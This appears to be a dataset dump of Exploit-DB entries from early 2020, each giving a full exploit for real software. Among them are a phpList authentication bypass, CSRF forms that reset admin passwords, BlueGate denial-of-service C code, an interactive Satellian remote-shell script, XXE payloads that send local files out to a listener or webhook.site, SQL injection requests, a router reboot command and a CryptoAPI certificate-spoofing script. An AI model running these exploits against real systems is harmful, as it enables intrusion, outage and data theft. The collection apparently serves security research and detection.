QLWD/code_shield huggingface dataset:
标题: phpList 3.5.0 - Authentication Bypass EDB-ID: 47989 CVE: 2020-8547 类型: WEBAPPS 平台: PHP 发布日期: 2020-02-03 漏洞利用脚本: # Exploit Title: phpList 3.5.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-02-03
# Exploit Author: Suvadip Kar
# Author Contact: https://twitter.com/spidersec
# Vendor Homepage: https://www.phplist.org
# Software Link: https://www.phplist.org/download-phplist/
# Version: 3.5.0
# Tested on: Linux
# CVE : CVE-2020-8547

Background of the Vulnerability :

Php loose comparison '==' compares two operands by converting them to integers even if they are strings.

EXAMPLE CODE:

 <?php
 var_dump(hash('sha256', 'TyNOQHUS') == '0e66298694359207596086558843543959518835691168370379069085300385');
 var_dump(hash('sha256', '34250003024812') == '0e66298694359207596086558843543959518835691168370379069085300385');
 ?>

OUTPUT:

bool(true)
bool(true)

Vulnerable code:

GITHUB: https://github.com/phpList/phplist3/blob/master/public_html/lists/admin/phpListAdminAuthentication.php
-----
if(empty($login)||($password=="")){
    return array(0, s('Please enter your credentials.'));
}
if ($admindata['disabled']) {
    return array(0, s('your account has been disabled'));
}
if (//Password validation.
    !empty($passwordDB) && $encryptedPass == $passwordDB // Vulnerable because loose comparison is used
)
    return array($admindata['id'], 'OK');
 else {
    if (!empty($GLOBALS['admin_auth_module'])) {
        Error(s('Admin authentication has changed, please update your admin module'),
            'https://resources.phplist.com/documentation/errors/adminauthchange');
        return;
        }
return array(0, s('incorrect password'));

}
-------

Steps to reproduce:

 1. Set the string 'TyNOQHUS' as password for username 'admin'. Its sha256 value is 0e66298694359207596086558843543959518835691168370379069085300385.

 2. Now navigate to endpoint '/admin' and try to login with username 'admin' password 'TyNOQHUS'.

 3. User Logged in with valid password.

 4. Now logout from the application and try to login with username 'admin' password '34250003024812'.

 5. User Logged in, without valid password.

 6. Authentication bypassed because of PHP loose comparison.

 FIX: This vulnerability can be fixed by using strict comparison (===) in place of loose comparison.
 -----
 if(empty($login)||($password=="")){
     return array(0, s('Please enter your credentials.'));
 }
 if ($admindata['disabled']) {
     return array(0, s('your account has been disabled'));
 }
 if (//Password validation.
     !empty($passwordDB) && $encryptedPass === $passwordDB // Fixed by using strict comparison '==='.
 )
     return array($admindata['id'], 'OK');
  else {
     if (!empty($GLOBALS['admin_auth_module'])) {
         Error(s('Admin authentication has changed, please update your admin module'),
             'https://resources.phplist.com/documentation/errors/adminauthchange');
         return;
         }
 return array(0, s('incorrect password'));

 }
 -------

Additional Resource: https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf URL: https://www.exploit-db.com/exploits/47989
标题: Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (PoC) EDB-ID: 47995 CVE: 2019-18634 类型: DOS 平台: LINUX 发布日期: 2020-02-04 漏洞利用脚本: # Title: Sudo 1.8.25p - Buffer Overflow
# Date: 2020-01-30
# Author: Joe Vennix
# Software: Sudo
# Versions: Sudo versions prior to 1.8.26
# CVE: CVE-2019-18634
# Reference: https://www.sudo.ws/alerts/pwfeedback.html

# Sudo's pwfeedback option can be used to provide visual feedback when the user is inputting 
# their password. For each key press, an asterisk is printed. This option was added in 
# response to user confusion over how the standard Password: prompt disables the echoing 
# of key presses. While pwfeedback is not enabled by default in the upstream version of sudo,
# some systems, such as Linux Mint and Elementary OS, do enable it in their default sudoers files.

# Due to a bug, when the pwfeedback option is enabled in the sudoers file, a user may be able to trigger a stack-based buffer overflow.
# This bug can be triggered even by users not listed in the sudoers file. There is no impact unless pwfeedback has been enabled.

The folowing sudoers configuration is vulnerable:

    $ sudo -l
    Matching Defaults entries for millert on linux-build:
 insults, pwfeedback, mail_badpass, mailerpath=/usr/sbin/sendmail

    User millert may run the following commands on linux-build:
 (ALL : ALL) ALL

# Exploiting the bug does not require sudo permissions, merely that pwfeedback be enabled. 
# The bug can be reproduced by passing a large input to sudo via a pipe when it prompts for a password.

    $ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
    Password: Segmentation fault

If pwfeedback is enabled in sudoers, the stack overflow may allow unprivileged users to escalate to the root account. URL: https://www.exploit-db.com/exploits/47995
标题: Cups Easy 1.0 - Cross Site Request Forgery (Password Reset) EDB-ID: 47973 CVE: 2020-8425 2020-8424 类型: WEBAPPS 平台: PHP 发布日期: 2020-01-29 漏洞利用脚本: # Title: Cups Easy 1.0 - Cross Site Request Forgery (Password Reset)
# Date: 2020-01-28
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/u/ajayshar76/profile/
# Software Link: https://sourceforge.net/projects/cupseasy/files/cupseasylive-1.0/
# Version: 1.0
# Tested on Windows 10/Kali Rolling
# CVE: CVE-2020-8424, CVE-2020-8425

# The Cups Easy (Purchase & Inventory) 1.0 web application is vulnerable to Cross Site Request Forgery 
# that would allow an attacker to change the Admin password and gain unrestricted 
# access to the site or delete any user.

# Proof of Concept Code for Password Change:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://SITEADDRESS/cupseasylive/passwordmychange.php" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="password" value="PASSWORDHERE" />
      <input type="hidden" name="change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

# Proof of concept for user delete:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://SITEADDRESS/cupseasylive/userdelete.php" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="delete" value="Delete" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html> URL: https://www.exploit-db.com/exploits/47973
标题: Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC) EDB-ID: 47964 CVE: 2020-0610 2020-0609 类型: DOS 平台: WINDOWS 发布日期: 2020-01-23 漏洞利用脚本: #include "BlueGate.h"

/* 
EDB Note: 
- Download (Binary) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-1.exe
- Download (Source) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-2.zip
*/


void error(const char* msg)
{
 printf("ERROR: %s\n", msg);
 exit(EXIT_FAILURE);
}

void SOCKInit()
{
 WSADATA wsaData;
 int res;

 res = WSAStartup(MAKEWORD(2, 2), &wsaData);

 if (res != 0)
  error("WSAStartup failed");
}

void DTLSInit()
{
 SSL_library_init();
 SSL_load_error_strings();
 ERR_load_BIO_strings();
 OpenSSL_add_all_algorithms();
}

int OpenUDPConnection(const char* hostname, int port)
{
 int sockfd;
 sockaddr_in addr;

 sockfd = socket(AF_INET, SOCK_DGRAM, 0);

 if (sockfd < 0)
  error("Failed to open socket");

 addr.sin_family = AF_INET;
 addr.sin_port = htons(port);
 
 inet_pton(AF_INET, hostname, &(addr.sin_addr));

 if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0)
 {
  closesocket(sockfd);
  error("Failed to connect socket");
 }

 return sockfd;
}

SSL* DTLSConnection(const char* hostname)
{
 int sockfd;
 int result;
 DTLSParams client;
 
 sockfd = OpenUDPConnection(hostname, 3391);

 client.ctx = SSL_CTX_new(DTLS_client_method());
 client.bio = BIO_new_ssl_connect(client.ctx);

 BIO_set_conn_hostname(client.bio, hostname);
 BIO_get_ssl(client.bio, &(client.ssl));

 SSL_set_connect_state(client.ssl);
 SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY);

 SSL_set_fd(client.ssl, sockfd);

 if (SSL_connect(client.ssl) != 1) {
  return NULL;
 }
 
 return client.ssl;
}

int send_dos_packet(SSL* ssl, int id) {
 CONNECT_PKT_FRAGMENT packet;

 packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT;
 packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER);
 packet.usFragmentID = id;
 packet.usNoOfFragments = id;
 packet.cbFragmentLength = 1000;
 memset(packet.fragment, 0x41, 1000);

 char pkt[sizeof(packet)];
 memcpy(&pkt, &packet, sizeof(packet));

 return SSL_write(ssl, pkt, sizeof(pkt));
}

int main(int argc, char* argv[])
{
 
 SSL* ssl;
 int i = 0;
 char* hostname;

 if (argc != 2) {
  printf("Usage: %s <IP address>\n", argv[0]);
  return 0;
 }

 hostname = argv[1];

 SOCKInit();
 DTLSInit();
 
 while (i++ > -1) {
  ssl = DTLSConnection(hostname);

  if (ssl == NULL) {
   break;
  }
  
  for (int n = 0; n < 4; n++) {
   send_dos_packet(ssl, i+n);
   printf("Sending packet [%u]\n", i + n);
  }

  i++;
 }


 return 0;
} URL: https://www.exploit-db.com/exploits/47964
标题: Satellian 1.12 - Remote Code Execution EDB-ID: 47976 CVE: 2020-7980 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-01-29 漏洞利用脚本: # Exploit Title: Satellian 1.12 - Remote Code Execution
# Date: 2020-01-28
# Exploit Author: Xh4H
# Vendor Homepage: https://www.intelliantech.com/?lang=en
# Version: v1.12+
# Tested on: Kali linux, MacOS
# CVE : CVE-2020-7980

# Github repository: https://github.com/Xh4H/Satellian-CVE-2020-7980

# xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted>
#                   ________________________________________
#         (__)    /                                        \
#         (oo)   (     Intellian Satellite Terminal PoC     )
#   /-------\/ --' \________________________________________/ 
#  / |     ||
# *  ||----||             

# Performing initial scan. Listing available system binaries.
# Starting request to http://<redacted>
# Executing command /bin/ls /bin
# acu_server
# acu_tool
# addgroup
# adduser
# ...

# Satellian $ id
# uid=0(root) gid=0(root)

import requests
import argparse
import sys
import calendar
import time
from termcolor import colored

def cprint(text, color): # colored print
 sys.stdout.write(colored(text + "\n", color, attrs=["bold"]))

def httpize(url):
 if not url.startswith("http"):
  cprint("Missing protocol, using http . . .", "yellow")
  url = "http://" + url
 return url

def send_command(url, command, verbose):
 RCE = {"O_":"A","V_":1,"S_":123456789,"F_":"EXEC_CMD","P1_":{"F":"EXEC_CMD","Q":command}}
 string_to_split = '''"SUCCESS_"
},'''

 if verbose:
  cprint("Starting request to %s" % url, "yellow")
  cprint("Executing command %s" % command, "yellow")

 a = requests.post(url + '/cgi-bin/libagent.cgi?type=J&' + str(calendar.timegm(time.gmtime())) + '000', json=RCE, cookies={'ctr_t': '0', 'sid': '123456789'})
 command_output = a.content[a.content.find(string_to_split):-2].replace(string_to_split, '')

 if len(command_output) < 4 and verbose:
  cprint("Target doesn't seem to be vulnerable\nExiting.", 'red')
  sys.exit()
 print command_output

cprint("""
                  ________________________________________
         (__)    /                                        \\
         (oo)   (     Intellian Satellite Terminal PoC     )
  /-------\\/ --' \\________________________________________/ 
 / |     ||
*  ||----||             
""", "green")

parser = argparse.ArgumentParser(description="Satellian: A PoC script for CVE-2020-7980")
parser.add_argument("-u", "--url", help="Base url")
args = parser.parse_args()

if args.url is None:
 cprint("Missing arguments.\nUsage example:\n" + sys.argv[0] + " -u http://10.10.10.14\n", "red")
 sys.exit()

url = httpize(args.url)

def main():
 cprint("Performing initial scan. Listing available system binaries.", "green")
 send_command(url, '/bin/ls /bin', True)

 while True:
  command = raw_input('Satellian $ ')
  send_command(url, command, False)

if __name__ == '__main__':
 try:
  main()
 except Exception as e:
  print e
  print "\nAn error happened." URL: https://www.exploit-db.com/exploits/47976
标题: XMLBlueprint 16.191112 - XML External Entity Injection EDB-ID: 47974 CVE: 2019-19032 类型: LOCAL 平台: WINDOWS 发布日期: 2020-01-29 漏洞利用脚本: # Exploit Title: XMLBlueprint 16.191112 - XML External Entity Injection
# Exploit Author: Javier Olmedo
# Date: 2018-11-14
# Vendor: XMLBlueprint XML Editor
# Software Link: https://www.xmlblueprint.com/update/download-64bit.exe
# Affected Version: 16.191112 and before
# Patched Version: unpatched
# Category: Local
# Platform: XML
# Tested on: Windows 10 Pro
# CWE: https://cwe.mitre.org/data/definitions/611.html
# CVE: 2019-19032
# References:
# https://hackpuntes.com/cve-2019-19032-xmlblueprint-16-191112-inyeccion-xml/
 
# 1. Technical Description
# XMLBlueprint XML Editor version 16.191112 and before are affected by XML External Entity
# Injection vulnerability through the malicious XML file. This allows a malicious user
# to read arbitrary files.
 
# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection.

python -m SimpleHTTPServer 80

# 2.2 Upload the payload.dtd file to your web server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

# 2.3 Create a secret.txt file with any content in desktop.

# 2.4 Open poc.xml and click XML -> Validate

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///C:\Users\jolmedo\Desktop\secret.txt">
<!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 2.5 Your web server will receive a request with the contents of the secret.txt file

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /payload.dtd HTTP/1.1" 200 -
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -

# 3. Timeline
# 13, november 2019 - [RESEARCHER] Discover
# 13, november 2019 - [RESEARCHER] Report to vendor support
# 14, november 2019 - [DEVELOPER]  Unrecognized vulnerability
# 15, november 2019 - [RESEARCHER] Detailed vulnerability report
# 22, november 2019 - [RESEARCHER] Public disclosure

# 4. Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo URL: https://www.exploit-db.com/exploits/47974
标题: Octeth Oempro 4.8 - 'CampaignID' SQL Injection EDB-ID: 47967 CVE: 2019-19740 类型: WEBAPPS 平台: PHP 发布日期: 2020-01-28 漏洞利用脚本: # Exploit Title: Octeth Oempro 4.8 - 'CampaignID' SQL Injection
# Date: 2020-01-27
# Exploit Author: Bruno de Barros Bulle (www.xlabs.com.br)
# Vendor Homepage: www2.octeth.com
# Version: Octeth Oempro v.4.7 and v.4.8
# Tested on: Oempro v.4.7
# CVE : CVE-2019-19740


An authenticated user can easily exploit this vulnerability. Octeth Oempro
4.7 and 4.8 allow SQL injection. The parameter CampaignID in Campaign.Get
is vulnerable.

# Error condition
POST /api.php HTTP/1.1
Host: 127.0.0.1

command=Campaign.Get&CampaignID=2019'&responseformat=JSON

# SQL Injection exploitation
POST /api.php HTTP/1.1
Host: 127.0.0.1

command=Campaign.Get&CampaignID=2019 OR '1=1&responseformat=JSON URL: https://www.exploit-db.com/exploits/47967
标题: Citrix XenMobile Server 10.8 - XML External Entity Injection EDB-ID: 47951 CVE: 2018-10653 类型: WEBAPPS 平台: XML 发布日期: 2020-01-22 漏洞利用脚本: # Exploit Title: Citrix XenMobile Server 10.8 - XML External Entity Injection
# Google Dork: inurl:zdm logon
# Date: 2019-11-28
# Exploit Author: Jonas Lejon
# Vendor Homepage: https://www.citrix.com
# Software Link:
# Version: XenMobile Server 10.8 before RP2 and 10.7 before RP3
# Tested on: XenMobile
# CVE : CVE-2018-10653

#!/usr/bin/python3
##
## PoC exploit test for the security vulnerability CVE-2018-10653 in
XenMobile Server 10.8 before RP2 and 10.7 before RP3
##
## This PoC was written by Jonas Lejon 2019-11-28
<jonas.xenmobile@triop.se> https://triop.se
## Reported to Citrix 2017-10, patch released 2018-05
##

import requests
import sys
from pprint import pprint
import uuid

# Surf to https://webhook.site and copy/paste the URL below. Used for
XXE callback
WEBHOOK = "https://webhook.site/310d8cd9-ebd3-xxx-xxxx-xxxxxx/"

id = str(uuid.uuid1())

xml = '''<?xml version="1.0" encoding="UTF-8"
standalone='no'?><!DOCTYPE plist [<!ENTITY % j00t9 SYSTEM "''' +
WEBHOOK + id + '''/test.dtd">%j00t9; ]>'''

print(id)

response = requests.put(sys.argv[1] + '/zdm/ios/mdm', verify=False,
 headers=
{'User-Agent': 'MDM/1.0',
'Connection': 'close',
'Content-Type': 'application/x-apple-aspen-mdm'},
data=xml,stream=True
)
print(response.content)
print(response.text)
pprint(response) URL: https://www.exploit-db.com/exploits/47951
标题: Genexis Platinum-4410 2.1 - Authentication Bypass EDB-ID: 47961 CVE: 2020-6170 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-01-24 漏洞利用脚本: # Exploit Title:  Genexis Platinum-4410 2.1 - Authentication Bypass
# Date: 20220-01-08
# Exploit Author: Husinul Sanub
# Author Contact: https://www.linkedin.com/in/husinul-sanub-658239106/
# Vulnerable Product: Genexis Platinum-4410 v2.1 Home Gateway Router https://genexis.co.in/product/ont/
# Firmware version: P4410-V2–1.28
# Vendor Homepage: https://genexis.co.in/
# Reference: https://medium.com/@husinulzsanub/exploiting-router-authentication-through-web-interface-68660c708206
# CVE: CVE-2020-6170

Vulnerability Details
======================
Genexis Platinum-4410 v2.1 Home Gateway Router discloses passwords of each users(Admin,GENEXIS,user3) in plain text behind login page source “http://192.168.1.1/cgi-bin/index2.asp". This could potentially allow a remote attacker access sensitive information and perform actions such as reset router, changing passwords, upload malicious firmware etc.

How to reproduce
===================
Suppose 192.168.1.1 is the router IP and check view page source of login page “http://192.168.1.1/cgi-bin/index2.asp",There we can found passwords for each login accounts in clear text.


POC
=========
* https://youtu.be/IO_Ez4XH-0Y URL: https://www.exploit-db.com/exploits/47961
标题: TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot EDB-ID: 47958 CVE: 2019-16893 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-01-24 漏洞利用脚本: # Exploit Title: TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot
# Date: 2020-01-20
# Exploit Author: PCEumel
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/us/support/download/tl-sg105e/#Firmware
# Version: TP-Link TP-SG105E V4
# Tested on: TP-SG105E V4 1.0.0 Build 20181120
# Patch from vendor : https://static.tp-link.com/2020/202001/20200120/TL-SG105Ev4.0_en_1.0.0_[20200119-rel.52079]_up.zip
# CVE : CVE-2019-16893

# TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot
# The TP-Link TP-SG105E is a "5-Port Gigabit Easy Smart Switch".
# It features a web front end and an application (Easy Smart Configuration Utility)
# for easy configuration management.

# The device does not properly restrict access to an internal API.
# It is therefore possible to remotely reboot the device by sending a HTTP POST
# request.

---

# POC :
curl -d "reboot_op=reboot" -X POST http://192.168.1.10/reboot.cgi

---

Timeline :
2019-09-16 | Vendor notified 
2019-09-25 | Reply (they will patch it)
2019-12-24 | First patch for testing
2019-12-19 | Confirmed the functionality of the patch
2020-01-14 | Public patch available URL: https://www.exploit-db.com/exploits/47958
标题: Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC) EDB-ID: 47963 CVE: 2020-0610 2020-0609 类型: DOS 平台: WINDOWS 发布日期: 2020-01-23 漏洞利用脚本: #include "BlueGate.h"

/* 
EDB Note: 
- Download (Source) ~ 
- Download (Binary) ~ 
*/


void error(const char* msg)
{
 printf("ERROR: %s\n", msg);
 exit(EXIT_FAILURE);
}

void SOCKInit()
{
 WSADATA wsaData;
 int res;

 res = WSAStartup(MAKEWORD(2, 2), &wsaData);

 if (res != 0)
  error("WSAStartup failed");
}

void DTLSInit()
{
 SSL_library_init();
 SSL_load_error_strings();
 ERR_load_BIO_strings();
 OpenSSL_add_all_algorithms();
}

int OpenUDPConnection(const char* hostname, int port)
{
 int sockfd;
 sockaddr_in addr;

 sockfd = socket(AF_INET, SOCK_DGRAM, 0);

 if (sockfd < 0)
  error("Failed to open socket");

 addr.sin_family = AF_INET;
 addr.sin_port = htons(port);
 
 inet_pton(AF_INET, hostname, &(addr.sin_addr));

 if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0)
 {
  closesocket(sockfd);
  error("Failed to connect socket");
 }

 return sockfd;
}

SSL* DTLSConnection(const char* hostname)
{
 int sockfd;
 int result;
 DTLSParams client;
 
 sockfd = OpenUDPConnection(hostname, 3391);

 client.ctx = SSL_CTX_new(DTLS_client_method());
 client.bio = BIO_new_ssl_connect(client.ctx);

 BIO_set_conn_hostname(client.bio, hostname);
 BIO_get_ssl(client.bio, &(client.ssl));

 SSL_set_connect_state(client.ssl);
 SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY);

 SSL_set_fd(client.ssl, sockfd);

 if (SSL_connect(client.ssl) != 1) {
  return NULL;
 }
 
 return client.ssl;
}

int send_dos_packet(SSL* ssl, int id) {
 CONNECT_PKT_FRAGMENT packet;

 packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT;
 packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER);
 packet.usFragmentID = id;
 packet.usNoOfFragments = id;
 packet.cbFragmentLength = 1000;
 memset(packet.fragment, 0x41, 1000);

 char pkt[sizeof(packet)];
 memcpy(&pkt, &packet, sizeof(packet));

 return SSL_write(ssl, pkt, sizeof(pkt));
}

int main(int argc, char* argv[])
{
 
 SSL* ssl;
 int i = 0;
 char* hostname;

 if (argc != 2) {
  printf("Usage: %s <IP address>\n", argv[0]);
  return 0;
 }

 hostname = argv[1];

 SOCKInit();
 DTLSInit();
 
 while (i++ > -1) {
  ssl = DTLSConnection(hostname);

  if (ssl == NULL) {
   break;
  }
  
  for (int n = 0; n < 4; n++) {
   send_dos_packet(ssl, i+n);
   printf("Sending packet [%u]\n", i + n);
  }

  i++;
 }


 return 0;
} URL: https://www.exploit-db.com/exploits/47963
标题: Microsoft Windows - CryptoAPI (Crypt32.dll) Elliptic Curve Cryptography (ECC) Spoof Code-Signing Certificate EDB-ID: 47933 CVE: 2020-0601 类型: LOCAL 平台: WINDOWS 发布日期: 2020-01-15 漏洞利用脚本: # EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47933.zip

require 'openssl'

raw = File.read "ca.crt"
ca_cert = OpenSSL::X509::Certificate.new(raw)

# Parse public key from CA
ca_key = ca_cert.public_key
if !(ca_key.instance_of? OpenSSL::PKey::EC) then
    puts "CA NOT ECC"
    puts "Type: " + key.inspect
    exit
end

# Set new group with fake generator G = Q
ca_key.private_key = 1
group = ca_key.group
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group = group

puts ca_key.to_pem URL: https://www.exploit-db.com/exploits/47933